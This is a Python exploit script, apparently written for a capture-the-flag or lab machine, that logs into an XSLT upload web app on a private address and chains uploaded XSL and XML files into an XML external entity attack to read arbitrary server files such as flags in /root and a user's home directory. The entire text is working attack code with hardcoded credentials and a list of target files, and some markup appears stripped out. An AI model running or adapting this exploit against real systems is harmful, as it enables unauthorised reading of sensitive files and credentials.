#!/usr/bin/env python3 import html import os import re import sys from pathlib import Path import requests BASE = os.environ.get("XSLIB_BASE", "http://192.168.1.112:5000").rstrip("/") USERNAME = "pentester" PASSWORD = "P@ssw0rd123!" DTD_PATH = "/opt/web/uploads/xslib_reader.dtd" BASIC_XML = b'baseline' BASIC_XSL = b'''
''' def upload(session, xml_name, xml_data, xsl_name, xsl_data): response = session.post( BASE + "/upload", files={ "xml_file": (xml_name, xml_data, "application/xml"), "xsl_file": (xsl_name, xsl_data, "application/xml"), }, allow_redirects=False, timeout=10, ) response.raise_for_status() location = response.headers["Location"] result = session.get(BASE + location, timeout=10) result.raise_for_status() return result.text def read_file(target): session = requests.Session() login = session.post( BASE + "/login", data={"username": USERNAME, "password": PASSWORD}, allow_redirects=False, timeout=10, ) if login.status_code != 302: session.post( BASE + "/register", data={ "username": USERNAME, "email": f"{USERNAME}@test.com", "password": PASSWORD, "confirm_password": PASSWORD, "terms": "on", }, allow_redirects=False, timeout=10, ) login = session.post( BASE + "/login", data={"username": USERNAME, "password": PASSWORD}, allow_redirects=False, timeout=10, ) if login.status_code != 302: raise RuntimeError(f"login failed: HTTP {login.status_code}") escaped_target = html.escape(target, quote=True) writer = f''' <!ENTITY % file SYSTEM "file://{escaped_target}"> <!ENTITY % define "<!ENTITY xxe '%file;'>"> %define; ready '''.encode() writer_result = upload(session, "base.xml", BASIC_XML, "writer.xsl", writer) if "ready" not in writer_result: return "WRITE_ERROR", writer_result reader_xml = f''' %remote; ]> &xxe;'''.encode() result = upload(session, "reader.xml", reader_xml, "reader.xsl", BASIC_XSL) error = re.search(r'Processing error:\s*(.*?)

', result, re.S) if error: return "READ_ERROR", html.unescape(error.group(1)).strip() blocks = re.findall(r"]*>(.*?)", result, re.S) if not blocks: return "PARSE_ERROR", result return "OK", html.unescape(blocks[-1]).strip() if __name__ == "__main__": targets = sys.argv[1:] or [ "/flag", "/flag.txt", "/home/momo/flag", "/home/momo/flag.txt", "/home/momo/user.txt", "/root/flag", "/root/flag.txt", "/root/root.txt", ] for target in targets: try: status, value = read_file(target) print(f"===== {target} [{status}] =====") print(value) except Exception as exc: print(f"===== {target} [EXCEPTION] =====") print(f"{type(exc).__name__}: {exc}")